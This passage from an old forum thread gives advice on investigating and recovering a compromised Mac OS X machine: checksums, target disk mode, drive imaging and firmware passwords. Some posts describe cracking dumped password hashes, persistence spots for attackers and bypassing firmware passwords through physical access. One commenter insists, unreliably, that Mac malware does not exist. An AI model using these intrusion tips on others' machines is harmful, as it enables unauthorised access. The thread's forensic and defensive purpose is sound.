    sudo mtree -c -p /usr -k cksum > /tmp/mtree_checksum1
    sudo mtree -c -p /Volumes/BadHD/usr -k cksum > /tmp/mtree_cksum2
    to create CRC32 checksums of the /usr directories. Compare the two checksum files to see what might have been changed/added/deleted. Repeat for other important directories like /etc, /var, /Library, /System, /System\ Folder. If everything is different, you know that you haven't gotten the prebinding conditions right and you need to start over.

    To get the compromised Mac up and running again, you can't count on fixing everything in place. It's too easy to miss something that's been trojaned. You need to do an erase and install on the compromised Mac, re-install all of your applications, re-create the user accounts, then copy back the data that you backed up earlier. Be careful if some users have installed apps inside their home dirs that you re-install those fresh, as they may have been attacked as well. Also be sure to run a virus scanner on user files before restoring them to catch things like Word macro viruses.

    Be careful of the users' login keychains, as the data in those may not be recoverable if the passwords were changed by someone who logged in as the users themselves. If the passwords were changed via an outside reset mechanism, such as an admin user or an install CD, then the old keychain passwords should still work.

    Joel Rennich has a good account of studying a compromised Mac OS X machine a while back on his website, afp548.com. It's based on a little bit older version of the OS, but still good advice.

    --Paul
  28. FireWire Disk Mode by JeffTL · · Score: 1

    I forget the exact keystroke (they have it listed at apple.com) but you can bring any recent Mac up as a FireWire hard drive andd access the drive from any Mac that can take a FireWire drive. Not sure if the dominant partner can be Linux but it can certainly be OS X and probably OS 9.

    1. Re:FireWire Disk Mode by Anonymous Coward · · Score: 0

      Appel T or just T
      I think...

      I know there is a T
      and the T for target mode.

  29. Re:My girlfriend got Mac OS X spyware, somehow. by Elwood+P+Dowd · · Score: 1

    And you have to boot off a known good CD, or else you can't know that you're actually reading those hashes. But yeah.

    --

    There are no trails. There are no trees out here.
  30. Prepare before and be a bit paranoid by claudebbg · · Score: 5, Interesting
    Well, most of the people says you should "reinstall" and that's right. But you can be prepared. For my own system, I:
    • separate datas, users accounts, my non Apple applications from system with 2 different partitions
    • cleanly install the system and updates (stored on a separate drive) with no internet connection
    • setup a temporary admin account during the install
    • run a script (niutil, cp...) to recreate my environment (finally it's not that hard, just remember that users and groups are in netinfo and shadow passwords are stored in /var/db/shadow/hash with the generateduids of the users) and drop the temporary account
    • launch a complete replication of the system disk on an external (Emergency) drive (I currently use Mr. Bombich carbon copy cloner, but there are other solutions) which is useful to redo the first steps really fast (I mean 20 minutes from a drive, 30 minutes from my iPod which is becoming my "Emergency" drive). You can you the "rm local.nidb" trick to cleanly recreate the admin account
    • go live.
    This takes 2-4 hours with install from CDs, 1h from emergency drive.

    By the way, I also like to
    • avoid the uid 501 admin
    • replace the standard firewall (ipfw configured with ruleset from the SysPrefs) with a ruleset of my own (using the fantastic statefull feature, stealthing if necessary, explicitly closing ports I don't use to and from the computer, avoiding apps like MsOffice or Stuffit to call home) launched as a StartupItem
    • check the basic security with nmap from the outside
    • setup OpenFirmwarePassword and FileVault (sorry guys, physical access is not enough)
    • check passwords are solid, currently with lcrack on shadow passwords
    • make automatic backups of vital datas (thanks rsync) on external drive (and in my case my laptop which is then "in sync")
    Of course, the second part is purely paranoid (except backups) as I'm not at all an interesting target (except if you want to read my code, discover my preferred films;-) but as I also do that for small companies I like (and occasionally work for), I feel a little bit more responsible and try it on my personal computer before deploying it for others.

    I also do that to learn a bit more what can be done as I'm not a sysadmin at all and not pretend at all being as pro as most of them.
    1. Re:Prepare before and be a bit paranoid by tetsuotheironman · · Score: 1

      note that opening the computer and changing the RAM or something will let your reset the PRAM (apple+option+P+R) which effectivley removes Open Firmware Password protection (or if it's a tower just press the CUDA switch) which is enough to get admin access to the machine, which would ley you install a keystroke recorder, which would let you get into your little FileVault disk image..

      Moral of the story is, there is always a way to get into a machine if you have physical access..

      (although FileVault is a very good idea imho if you are paranoid about your data)

  31. One problem by TechniMyoko · · Score: 1

    You guys keep talking about restoring old user accounts. Accounts? It's a Mac, would you let other people touch your Mac? Didn't think so. This thing should only have 2 user accounts, Root (which you dont use much) and 1 User

    1. Re:One problem by vonFinkelstien · · Score: 1

      You don't have a wife and kids and only one computer, do you?

    2. Re:One problem by Anonymous Coward · · Score: 0

      You dont let family touch your mac

    3. Re:One problem by CountBrass · · Score: 1

      Sure I do. When my brother-in-law and my nephew come round for a session of Warcraft or Age of Mythology I have accounts setup for them to play with. That way I minimise the danger of either them or the games messing up my account.

      I also have non-people user accounts setup on my machine: for example MySQL has its own account.

      --
      Bad analogies are like waxing a monkey with a rainbow.
  32. Firewire Target Disk Mode by amdg · · Score: 2, Informative

    I realize you may only have one Mac to work with, but if you have two, you may want to try out Firewire target disk mode. It allows you to connect one Mac to another and use the first as an external disk. This is much more flexible than booting from the install CD.

    Has anyone tried connecting a Mac in target disk mode to a PC with a Firewire card? Was the PC able to mount the Mac as an external disk? If you don't have another Mac, that may also work assuming the PC knows what to do with HFS filesystem.

  33. Been there... by Anonymous Coward · · Score: 2, Informative

    ...and not just on the receiving end, either. *malicious grin*

    OS X is relatively easy to "r00t", by various means. Until recently, nidump passwd was a SERIOUS problem - weak passwords could be broken within <48 hours with john on a fast machine. OS X also provides quite a few ways to patch your own code into a machine once you've rooted it, too - /System/Library/StartupItems is a favorite of mine, but /etc/rc* works too. But the question isn't about how to root a machine, but how to detect it. So here are a few of my suggestions:

    * Mount the disk via Firewire Target mode, as suggested. Easiest way to get to a disk without running its code. (Yes, single-user mode will still execute some scripts on startup!)
    * nidump passwd . - See if they've set passwords on any of the system accounts. Yes, they might be logging in as sshd or something equally silly.
    * Files and directories to look for: .ssh, .*rc, .*history (don't assume they'll be in /Users)
    * Check /var/log, especially wtmp, utmp, and lastlog. Lastlog, in particular, is often forgotten.
    * Diff /System and /Library against a known-good machine. Files in here don't usually change too much; it's the executables (/bin, /Applications) that get prebound, mostly.

  34. Re:My girlfriend got Mac OS X spyware, somehow. by Anonymous Coward · · Score: 0

    Props.

  35. Re:My girlfriend got Mac OS X spyware, somehow. by sakusha · · Score: 4, Interesting

    I call Bullshit. There is no such thing as MacOS X spyware. What happened is that a .plist or pref got fucked up and you couldn't alter the prefs. This has been documented in various places, like:

    http://daringfireball.net/2004/05/energy_saver
    http://daringfireball.net/2004/05/internet_helper

    The easiest way to detect bad prefs is to create a new user and test the software in a new userspace. The new user will have fresh prefs and .plists copied directly from the newuser template. If it works in a new user and not in your old user, you have a prefs or .plist problem. This is what you discovered, not spyware. Don't cry wolf every time you have a problem you can't figure out. Horror stories about viruses and spyware are for Windoze lusers. Think Different.

  36. Tripwire-like functionality by Parsec · · Score: 1

    CheckMate is a checksum comparison program... main problem would be that you need a good initial baseline.

  37. Re:My girlfriend got Mac OS X spyware, somehow. by Elwood+P+Dowd · · Score: 1

    What happened is that a .plist or pref got fucked up and you couldn't alter the prefs.

    Yes, probably. The notable thing wasn't just that I couldn't change her homepage, but that it was set to some overture style search-shop-portal and I couldn't change it.

    The popups, though, were what made me think she actually had some rogue process. But I've been wrong before. Whatever.

    If it works in a new user and not in your old user, you have a prefs or .plist problem. This is what you discovered, not spyware.

    Well, it could have been spyware that was dependent on a prefs or .plist modification. I certainly haven't heard anyone else echo my story, and I did a bit of googling, but that's what it looked like to me.

    Think Different.

    You're a dick.

    --

    There are no trails. There are no trees out here.
  38. Re:My girlfriend got Mac OS X spyware, somehow. by Anonymous Coward · · Score: 0

    To be fair, they could have installed something into one of the user directories and that would stay with the user too. Using that I doubt they could create a situation anything like what this guy is claiming, but hey, it's theoretically possible to do all kinds of stuff since she's an Admin on her system and doesn't know what that means (which is why she shouldn't be an Admin).

    However, that's neither here nor there since IE on every platform is popup crazy (Hence rule 1 - Don't Use IE), and plists can get corrupted any time an application crashes while it's writing to the .plist, and since we're talking about IE, it crashes very, very often (see rule 1). Perhaps the lesson learned is don't use IE. Yes, I agree, that's a good lesson to learn.

  39. Re:My girlfriend got Mac OS X spyware, somehow. by sakusha · · Score: 1

    You still don't get it, braniac. No, it wasn't "spyware that was dependent on a prefs or .plist problem," because there WAS NO spyware. There is no such thing as spyware on the Mac. Nobody has ever found a single instance of browser spyware on a MacOS X system. Pull your head out of Bill Gates' ass and recognize that MacOS X has a different security model than Windows, and does not have the problems you are used to on your PeeCee.

    The problem you encountered is fairly common on MacOS X, plists and prefs get corrupted often enough. You just delete the defective plist or pref and it will be recreated the next time you run the app. There are even terminal scripts that will check plists for well-formed XML, so it is easier to locate busted plists. You could either create a new user with fresh, virgin prefs & plists, or you could do it the right way, locate the damaged file, delete it, and it will be recreated when it's needed.

  40. Re:My girlfriend got Mac OS X spyware, somehow. by wibs · · Score: 1

    Wow, Elwood was right. You are a dick. You're a mac zealot über nerd, and you aren't even right.

    Spyware on the mac doesn't exist in the same way that it does on PCs (and really what's being described is more adware than spyware, but whatever). There are unscrupulous programs out there, and they do transmit information about you that you might not want sent. For the quick and dirty method, try running Little Snitch sometime and keep an eye on connections. Most of the time it's just the software developer trying to make sure your serial is valid, but I've run across a couple of programs that initiate direct connections to web advertising firms - and if that's not spyware I don't know what is.

    --
    If you get nervous, just remember that there are a few billion other people who don't really give a damn.
  41. Use the System Profiler to start by foniksonik · · Score: 1

    System profiler will show you installed kernel extensions etc. as well as a full list of applications. It does not show you command line executables however, just packages.

    Do a search on created and modified dates including hidden files. This should show you any new stuff. Filter on known extensions.. .ai, .doc, etc. one at a time, look through for anything supicious, then filter them all out again to see what's left. Start looking.

    --
    A fool throws a stone into a well and a thousand sages can not remove it.
  42. Two possible solutions. by Domini · · Score: 2, Informative

    1)
    Download BootCD which is an app to create a BootCD from a current working installation. This will give you at least a working Finder and BSD subsystem with which you can hack around with.

    2)
    If that isn't easy enough, the following will blow your boots off:


    * The T key forces the PowerBook (FireWire) (and reportedly the Power Mac G4 (AGP Graphics), though I was unable to verify that on my machine) to start up in FireWire Target Disk Mode, which is essentially the modern equivalent of SCSI Disk Mode and enables a PowerBook (FireWire) to act as a FireWire-accessible hard disk for another Macintosh.

    Too many options! :)

    1. Re:Two possible solutions. by Domini · · Score: 1

      The link to the second part did not get displayed:

      Go HERE:

      http://www.jacsoft.co.nz/Mac_Keys.htm

      For more reading on Open Firmware.

      (One cool thing about Apple firmware: You can start a telnet server from within firmware! Wow!)

  43. Re:My girlfriend got Mac OS X spyware, somehow. by sakusha · · Score: 1

    This is so typical of the polarization of today's society, if someone disagrees with you, they're totally wrong and a dick. Better check your mirror and see where the problem is here.

    So in response to your pedantic definition of spyware, let's use the more appropriate term "malware," meaning the sort of gadgets that are so well known on Windoze web browsers, stuff that infests your machine through insecure Windoze mechanisms like ActiveX, and once installed, does stupid stunts in your browser, like push porn popups, hijack ads, etc.

    OK, so now that we have a new term, malware, let me explain it to you again.

    THERE IS NO SUCH THING ON MACOS X.

    This guy had a simple prefs problem and he leaps to the massively incorrect conclusion that he has some sort of malware that infected a MacOS X machine and got installed in some sort of virus-like method, screwing up his browser. But it didn't happen that way becuause THERE IS NO SUCH THING ON MACOS X.

    Yes, I use Little Snitch, I've only found one app (BBEdit) that phones home to check serials, and that's not what the guy who started this thread is talking about. Yes, I know there's a new exploit for Safari and a couple of other browsers. A software update was released a couple of days ago, and another one was released tonight. Nobody's managed to exploit it with malware so far. Malware DOES NOT EXIST on MacOS X. Call me a dick all you want, but that will not change the facts. The guy had a prefs problem, he cried wolf, I called BS on him, and I'm right and he's wrong. So there.

  44. Re:My girlfriend got Mac OS X spyware, somehow. by saintlupus · · Score: 1

    This is so typical of the polarization of today's society, if someone disagrees with you, they're totally wrong and a dick.

    I think it's more because you went from zero to confrontational with lightning speed. Polite disagreement looks quite a bit different than name-calling.

    --saint

  45. Osiris by justinkim · · Score: 1

    Osiris, an intrusion detection software package, will compile and run on OS X. Seems to work, but haven't had a real intrusion attempt yet to test it against (knock on wood).

  46. Re:My girlfriend got Mac OS X spyware, somehow. by Elwood+P+Dowd · · Score: 1

    At this point, it's clear he's just trolling. Saying "there is no such thing" is meaningless, and arguing that it's because MacOS is more secure is also meaningless.

    He's making arguments with gaping holes because he wants further response. Trolly troll troll.

    --

    There are no trails. There are no trees out here.
  47. A summary of some steps to follow by asecurityjunkie · · Score: 3, Informative

    Here is at a very minimum the steps required to perform forensics work on your system, I should also mention at this juncture that it is imperative to take detailed notes on what is happening both observations and actions.

    The first thing is to connect another system either to the same hub or switch that you can capture packets from the compromised system. This will enable us to run a packet analyzer such as Ethereal to determine what network traffic is leaving the system. We need to do this incase of a program that is "phoning home" and when you take it off the network and subsequently it can't phone home it deletes itself or performs some other nefarious task.
    When you are confident that no unusual network traffic is leaving the system we want to run a few commands that will not compromise the integrity of the system. Ideally not modify any file access times as well. What we are looking for are active processes, open files and if possible the contents of memory and the swap file. The output of these commands should be sent to a trusted remote system and the binaries themselves should come from a trusted source IE not the system you are working from. Make a CD with all of the commands that you intend to use (mount, lsof, top, ps, ssh for example). Before you run any commands on the system it is important that you have a game plan in place. Due to the nature of operating systems anything that you do at this stage can damage evidence that you may later need. But the list of open files can be critical in determining the extent of disruption to the system
    After you have all the information that you can gather from the booted system the next step is to image the drive. Either via a drive duplicator (which you probably don't have) or using Disk Utility and imaging the drive. Boot the system into target disk mode holding the 'T' key at boot. You will know the system is in target disk mode when there is a blue screen with yellow FireWire icon. After it is in target disk mode connect it to another trusted Mac launch Disk Utility and image the drive (IMPORTANT: not the logical volume, the drive will have numbers in front of it) you want to make a READ ONLY disk image of the drive. It is important that for the remainder of the investigation you only work from the image of the drive.
    When the drive has been imaged open the image on a known good system and inspect the log files. Ideally you will have other logs than the one on your system to examine. For example firewall logs of network connections to the compromised system. Look for file modification times that don't appear to be accurate

    I apologize for the lack of detail in this post, I had to generalize many concepts into one brief memo. If time avails itself I will follow up with a more detailed post later. Good luck. And if you have any questions just ask.

  48. Single User Mode by gnu-sucks · · Score: 1

    When I learned unix, we didn't have "kmoppix". But, most unix-like systems have a single user mode. On Mac OS X, you press, I believe, option-apple-s on bootup. Of course, using the install cd works well too. Don't be a moron - treat unix like unix.

  49. Re:My girlfriend got Mac OS X spyware, somehow. by Anonymous Coward · · Score: 0

    Yup. Good call.

  50. From prior experience with OS X by veritron · · Score: 1

    Mac OS X is reasonably secure (to the best of my knowledge, I could easily be wrong) from a networking perspective, but only gives the illusion of security when tampered with from the hardware side. It's possible to bypass any startup login screen with merely an OS X CD, and what's worse, even without the CD you can still boot into darwin by holding down a key combination - I'm pretty sure you can turn both of these "features" off with a bit more technical expertise, but frankly, these security problems being left open by default worried me so much that I migrated away from putting OS X on any machines that are exposed to public use on our network, and I still won't do anything mission-critical on a Mac-based desktop system.

    Meanwhile, most x86 PCs have BIOS passwords, a feature which I wish I knew how to enable on Macs - maybe it exists, maybe it doesn't, it sure wasn't forthcoming in the manual or any of the man pages I read.

    I know my concerns for security do border on the paranoid, but my goal is to have my desktop systems so secure that compromising them necessitates stealing the hard drive. If that happens, I'll know there's been a compromise, and heck, I've rigged up a surprise of my own in store for the poor soul who attempts such a feat. I don't want someone to be able to walk up to a turned-off system, hold down a few keys, type a few commands, and have unrestricted access.

    1. Re:From prior experience with OS X by asecurityjunkie · · Score: 2, Informative

      What you are looking for is the open firmware password. It is really easy to enable. Apple hase a Kbase article on it. http://docs.info.apple.com/article.html?artnum=106 482 They even have an app that takes all of the work out of enabling and disabling it. When it is enabled it disables all of the "snag" keys that you can hit on boot to say boot to a CD or single user mode. Cheers.

  51. Number one sign your OS X Mac has been hacked... by csoto · · Score: 1

    The "Start" menu in the lower left of the screen!

    --
    There exists no way of exchanging information without making judgments. --Bene Gesserit Axiom
  52. Re:My girlfriend got Mac OS X spyware, somehow. by sakusha · · Score: 1

    IHBT.

  53. OSx -V -9.22 by mattlamb · · Score: 1

    My Server is staying on 9.2.2 for good reasons and number one is I can sleep without worrying.. and its easier to maintain and has crashed only 2-3 times in 2 years. (application problems not system)
    My Laptop is fine on OSX, but of course does not like networking very often...(G3 Lombard) sigh...

    --
    { Pillar candles great for when the power fails and you cant see the keyboard..
  54. Re:My girlfriend got Mac OS X spyware, somehow. by Anonymous Coward · · Score: 0

    lose the attitude, BRAINIAC. This isnt a flamewar on usenet.
    noone appreciates it.

  55. Re:Number 2 sign your OS X Mac has been hacked... by Anonymous Coward · · Score: 0

    Microsoft DOS [version 1.0]
    (C) copyright 1985 Microsoft Corp.

    C:\>

  56. Try Open Firmware Password Protection by Anonymous Coward · · Score: 1, Informative

    Try these Apple knowledgebase articles:

    http://docs.info.apple.com/article.html?artnum=1 06 482
    http://docs.info.apple.com/article.html?artnu m=120 095

    Implementing Open Firmware password protection as described in these articles will effectively prevent someone from booting your Mac from a CD and resetting the password, among other forms of security...and, by the way, this solution comes right from Apple!

    The only way to clear this form of security is to gain physical access to your Mac and change the amount of RAM installed (which forces the Mac to perform a long RAM test at next boot, erasing the OF PW). And, seriously, if someone can gain this kind of physical access to your Mac then you have much worse things to worry about than just a compromised login password!

  57. If this were... by Anonymous Coward · · Score: 0

    "Many of you have probably dealt with computer intrusion before, but this is the first time for me with Mac OS X. I've got a machine where the passwords have been altered. If this were OpenBSD, I would... no wait, I wouldn't have to, would I?"

  58. Try Radmind by saha · · Score: 1
    From our Research Systems Unix Group . Won't fix your current problem, but may help in the future along with using standard security features, firewall...etc

    radmind - A suite of Unix command-line tools and a server designed to remotely administer the file systems of multiple Unix machines. For Mac OS X, there's also a graphical interface.

    At its core, radmind operates as a tripwire. It is able to detect changes to any managed filesystem object, e.g. files, directories, links, etc. However, radmind goes further than just integrity checking: once a change is detected, radmind can optionally reverse the change.
    Each managed machine may have its own loadset composed of multiple, layered overloads. This allows, for example, the operating system to be described separately from applications.

    Loadsets are stored on a remote server. By updating a loadset on the server, changes can be pushed to managed machines. radmind is available under a BSD-style license.
    Go Blue!

  59. Re:My girlfriend got Mac OS X spyware, somehow. by Anonymous Coward · · Score: 0

    dick, mostly.